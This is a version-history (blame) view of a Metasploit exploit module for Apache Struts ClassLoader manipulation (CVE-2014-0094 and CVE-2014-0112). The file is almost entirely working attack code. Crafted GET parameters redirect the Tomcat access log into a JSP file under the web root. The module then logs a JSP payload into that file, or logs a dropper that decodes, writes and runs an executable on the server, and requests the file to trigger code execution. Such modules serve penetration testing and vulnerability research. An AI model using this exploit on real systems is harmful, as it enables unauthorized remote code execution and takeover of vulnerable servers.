Files
metasploit-gs/modules/exploits/multi/http/struts_code_exec_classloader.rb
T

221 lines
6.5 KiB
Ruby
Raw Normal View History

2014-04-29 03:50:45 +02:00
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2014-05-01 16:39:53 -05:00
Rank = GreatRanking
2014-04-29 03:50:45 +02:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
2014-04-29 03:58:04 +02:00
'Name' => 'Apache Struts ClassLoader Manipulation Remote Code Execution',
2014-04-29 03:50:45 +02:00
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts
2014-04-29 03:58:04 +02:00
versions < 2.3.16.2. This issue is caused because the ParametersInterceptor allows
access to 'class' parameter which is directly mapped to getClass() method and
allows ClassLoader manipulation, which allows remote attackers to execute arbitrary
Java code via crafted parameters.
2014-04-29 03:50:45 +02:00
},
'Author' =>
[
2014-04-29 17:36:04 +02:00
'Mark Thomas', # Vulnerability Discovery
'Przemyslaw Celej', # Vulnerability Discovery
'pwntester <alvaro[at]pwntester.com>', # PoC
2014-04-29 03:58:04 +02:00
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
2014-04-29 03:50:45 +02:00
],
'License' => MSF_LICENSE,
'References' =>
[
2014-05-01 15:24:10 -05:00
['CVE', '2014-0094'],
['CVE', '2014-0112'],
['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],
['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html']
2014-04-29 03:50:45 +02:00
],
2014-05-01 15:24:10 -05:00
'Platform' => %w{ linux win },
2014-04-29 03:50:45 +02:00
'Targets' =>
[
2014-05-01 15:24:10 -05:00
['Java',
{
'Arch' => ARCH_JAVA,
'Platform' => %w{ linux win }
},
2014-04-29 03:50:45 +02:00
],
2014-05-01 15:24:10 -05:00
['Linux',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
2014-04-29 03:50:45 +02:00
],
2014-05-01 15:24:10 -05:00
['Windows',
2014-04-29 03:50:45 +02:00
{
2014-05-01 15:24:10 -05:00
'Arch' => ARCH_X86,
'Platform' => 'win'
}
2014-04-29 03:50:45 +02:00
]
],
2014-04-29 03:58:04 +02:00
'DisclosureDate' => 'Mar 06 2014',
2014-05-01 15:24:10 -05:00
'DefaultTarget' => 0))
2014-04-29 03:50:45 +02:00
register_options(
[
Opt::RPORT(8080),
2014-05-01 15:24:10 -05:00
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"])
2014-05-01 16:39:53 -05:00
], self.class)
2014-04-29 03:50:45 +02:00
end
2014-05-01 16:39:53 -05:00
def jsp_dropper(file, exe)
dropper = <<-eos
<%@ page import=\"java.io.FileOutputStream\" %>
<%@ page import=\"sun.misc.BASE64Decoder\" %>
<%@ page import=\"java.io.File\" %>
<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %>
<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>
<% oFile.flush(); %>
<% oFile.close(); %>
<% File f = new File(\"#{file}\"); %>
<% f.setExecutable(true); %>
<% Runtime.getRuntime().exec(\"./#{file}\"); %>
eos
dropper
end
2014-04-29 03:50:45 +02:00
2014-04-29 03:58:04 +02:00
def exec_cmd(uri, cmd = "")
2014-05-01 16:39:53 -05:00
res = send_request_cgi({
2014-05-01 15:25:55 -05:00
'uri' => uri+cmd,
'version' => '1.1',
'method' => 'GET',
2014-04-29 03:50:45 +02:00
})
2014-05-01 16:39:53 -05:00
res
2014-04-29 03:58:04 +02:00
end
2014-04-29 03:50:45 +02:00
2014-05-01 15:25:55 -05:00
def is_log_flushed?(resp, content)
return resp.headers["Content-Length"] != "0" && resp.body =~ /#{content}/
end
2014-05-01 16:39:53 -05:00
def modify_class_loader
2014-04-29 03:58:04 +02:00
prefix_jsp = rand_text_alphanumeric(3+rand(3))
date_format = rand_text_numeric(1+rand(4))
2014-04-29 03:50:45 +02:00
2014-05-01 16:39:53 -05:00
print_status("#{peer} - Modifying class loader")
2014-04-29 11:24:17 +02:00
# Modifies classLoader parameters
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.directory=webapps/ROOT") # Directory where log file os going to be created
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.prefix=#{prefix_jsp}") # Filename
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.suffix=.jsp") # File extension
exec_cmd("#{datastore['TARGETURI']}?class['classLoader'].resources.context.parent.pipeline.first.fileDateFormat=#{date_format}") # second part of filename: "prefix+fileDateFormat.suffix"
2014-04-29 03:50:45 +02:00
2014-05-01 16:39:53 -05:00
@jsp_file = prefix_jsp
@jsp_file << date_format
@jsp_file << ".jsp"
2014-04-29 03:50:45 +02:00
# Wait till the log is created
uri = "/"
2014-05-01 16:39:53 -05:00
uri << @jsp_file
created = false
print_status("#{peer} - Waiting for the server to create the logfile")
10.times do |x|
select(nil, nil, nil, 2)
# Now make a request to trigger payload
vprint_status("#{peer} - Countdown #{10-x}...")
res = exec_cmd(uri)
2014-05-01 20:19:31 +02:00
# Failure. The request timed out or the server went away.
2014-05-01 16:39:53 -05:00
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil?
2014-05-01 20:19:31 +02:00
# Success if the server has flushed all the sent commands to the jsp file
if res.code == 200
2014-05-01 16:39:53 -05:00
print_good("#{peer} - Log file created file at http://#{peer}/#{@jsp_file}")
created = true
break
end
end
2014-05-01 16:39:53 -05:00
fail_with(Failure::TimeoutExpired, "#{peer} - No log file was created") unless created
end
2014-05-01 16:39:53 -05:00
# Fix the JSP payload to make it valid once is dropped
# to the log file
def fix(jsp)
output = ""
jsp.each_line do |l|
if l =~ /<%.*%>/
output << l
elsif l =~ /<%/
next
elsif l.chomp.empty?
next
else
output << "<% #{l.chomp} %>"
end
end
output
end
def execute_jsp
if target['Arch'] == ARCH_JAVA
2014-05-01 16:39:53 -05:00
jsp = fix(payload.encoded)
register_files_for_cleanup("#{@jsp_file}")
else
payload_exe = generate_payload_exe
2014-05-01 16:39:53 -05:00
payload_file = rand_text_alphanumeric(4 + rand(4))
jsp = jsp_dropper(payload_file, payload_exe)
register_files_for_cleanup("#{payload_file}", "#{@jsp_file}")
end
2014-04-29 03:50:45 +02:00
2014-04-29 17:36:04 +02:00
# Inexistent URI that logs on previously created log file (with ".jsp" suffix)
2014-05-01 16:39:53 -05:00
hint = rand_text_alpha(4 + rand(4))
2014-04-29 03:50:45 +02:00
2014-05-01 16:39:53 -05:00
print_status("#{peer} - Dumping payload into the logfile")
2014-04-29 11:24:17 +02:00
# Commands to be logged
2014-05-01 16:39:53 -05:00
jsp.each_line do |l|
exec_cmd(hint, l.chomp)
end
2014-04-29 03:50:45 +02:00
2014-04-29 03:58:04 +02:00
uri = "/"
2014-05-01 16:39:53 -05:00
uri << @jsp_file
2014-04-29 03:50:45 +02:00
flushed = false
print_status("#{peer} - Waiting for the server to flush the logfile")
10.times do |x|
select(nil, nil, nil, 2)
# Now make a request to trigger payload
vprint_status("#{peer} - Countdown #{10-x}...")
res = exec_cmd(uri)
2014-05-01 20:19:31 +02:00
# Failure. The request timed out or the server went away.
2014-05-01 20:19:31 +02:00
fail_with(Failure::TimeoutExpired, "Not received response") if res.nil?
# Success if the server has flushed all the sent commands to the jsp file
2014-05-01 16:39:53 -05:00
if res.code == 200 && is_log_flushed?(res, hint)
flushed = true
break
end
end
2014-05-01 20:19:31 +02:00
fail_with(Failure::TimeoutExpired, "Log not flushed on time") unless flushed
2014-05-01 16:39:53 -05:00
end
2014-04-29 03:50:45 +02:00
2014-05-01 16:39:53 -05:00
def exploit
modify_class_loader
execute_jsp
2014-04-29 03:50:45 +02:00
end
end